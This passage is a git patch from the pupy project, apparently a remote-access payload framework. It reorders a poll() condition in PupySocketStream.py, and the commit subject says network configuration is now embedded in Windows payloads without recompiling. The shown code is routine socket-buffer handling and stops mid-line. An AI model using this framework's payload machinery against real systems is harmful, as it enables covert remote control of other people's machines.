From 7510d2f07079c1fdf8e74a0977a705f0a431585b Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Sat, 18 Jun 2016 13:01:26 +0200 Subject: [PATCH] network custom conf are now automatically embedded without the need for recompiling windows payloads --- pupy/network/lib/streams/PupySocketStream.py | 10 +++++----- pupy/pupygen.py | 13 +++++++++++++ 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/pupy/network/lib/streams/PupySocketStream.py b/pupy/network/lib/streams/PupySocketStream.py index 33c043ff..5df843cb 100644 --- a/pupy/network/lib/streams/PupySocketStream.py +++ b/pupy/network/lib/streams/PupySocketStream.py @@ -73,7 +73,7 @@ class PupySocketStream(SocketStream): self.buf_in.write(BYTES_LITERAL(buf)) def poll(self, timeout): - return len(self.upstream)>0 or super(PupySocketStream, self).poll(timeout) + return super(PupySocketStream, self).poll(timeout) or len(self.upstream)>0 def sock_poll(self, timeout): return super(PupySocketStream, self).poll(timeout) @@ -88,7 +88,7 @@ class PupySocketStream(SocketStream): if len(self.upstream)>=count: return self.upstream.read(count) while len(self.upstream)